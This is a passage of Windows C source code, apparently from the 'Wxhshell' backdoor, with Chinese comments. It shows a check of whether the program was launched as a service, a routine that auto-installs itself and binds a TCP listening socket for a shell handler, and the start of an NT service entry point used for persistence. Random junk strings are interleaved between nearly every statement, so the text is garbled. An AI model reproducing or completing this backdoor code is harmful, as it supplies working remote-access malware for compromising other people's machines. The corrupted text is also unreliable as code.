V`>A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l=OC?d*m if(!hProcess) return 0; 1ZH8/1gWI F9G$$%Q-Z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U?m?8vhR6( HBkQ`T CloseHandle(hProcess); C g,w6<7 /SM#hwFxJ& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ).#D:eO[~ if(hProcess==NULL) return 0; <qj@waKw4 Wv'B[;[) HMODULE hMod; rO>wX_ char procName[255]; k/rkJ|i+p unsigned long cbNeeded; VQJ5$4a& bX1! fa if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !~DkA7i 55 sN/Xofh CloseHandle(hProcess); "Q!{8 9Y )$.9WlQ if(strstr(procName,"services")) return 1; // 以服务启动 j{+I~|ZB, 46JP1 return 0; // 注册表启动 CZno2$8@e } n6+MqN F>{uB!!L4 // 主模块 6E%k{ r int StartWxhshell(LPSTR lpCmdLine) e/~<\ { <}>-ip? SOCKET wsl; !f[N&se BOOL val=TRUE; ^g"6p#S=n int port=0;
]@
0V struct sockaddr_in door; "@bk$o= ApB'O;5 if(wscfg.ws_autoins) Install(); w0OK.fj F#9KMu<<cI port=atoi(lpCmdLine); 3Jit2W4 vYun^(_- if(port<=0) port=wscfg.ws_port; -2XIF}.Hu M4]|(A WSADATA data; AYtcN4\/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O$ oN1 J8[Xl. if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +PD5pr setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N^>g=Ub door.sin_family = AF_INET; ZACn_gd[5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?["ZEa door.sin_port = htons(port); 2 z l +4Ra N`I if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D7oV&vXg closesocket(wsl); U4/$4.'NQ return 1; QpZhxp } A~t7I{` \p|!=H@ if(listen(wsl,2) == INVALID_SOCKET) { ;]e"bX closesocket(wsl); b?^<';,5 return 1; U%olH >1K } 4WnxJ]5` Wxhshell(wsl); Y`Rf E WSACleanup(); w/@%xy vpMv return 0; r#}%sof +d15a%^` } M>#S
z qd ZYaS ~ // 以NT服务方式启动 [\p0eUog/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ld6@&34 { I!bZ-16X DWORD status = 0; h Nwb.[ DWORD specificError = 0xfffffff; j_g9RmZT 8hY)r~!b' serviceStatus.dwServiceType = SERVICE_WIN32; :zoX
Xo serviceStatus.dwCurrentState = SERVICE_START_PENDING; >skS`/6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C\[UAxZ3X serviceStatus.dwWin32ExitCode = 0; HBu>BSv: serviceStatus.dwServiceSpecificExitCode = 0; r~t7Z+PXF serviceStatus.dwCheckPoint = 0; Ks-><-2+N serviceStatus.dwWaitHint = 0; :4TcCWG 2:yv:7t/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XQPJ(.G if (hServiceStatusHandle==0) return; )}v2Z3: .?TVBbc%5 status = GetLastError(); !{LwX Kf if (status!=NO_ERROR) l+,rc*-j0 { 8a{g EZT, serviceStatus.dwCurrentState = SERVICE_STOPPED; j.*}W4`Q_ serviceStatus.dwCheckPoint = 0; 5kz`_\& serviceStatus.dwWaitHint = 0; xcA`W|M serviceStatus.dwWin32ExitCode = status; d0d2QRX serviceStatus.dwServiceSpecificExitCode = specificError; <o
O_wS@: SetServiceStatus(hServiceStatusHandle, &serviceStatus); FS0SGBo return; MaM7u:kD# } Qp}<8/BM\ :KwYuwYS serviceStatus.dwCurrentState = SERVICE_RUNNING; Rz<fz"/2< |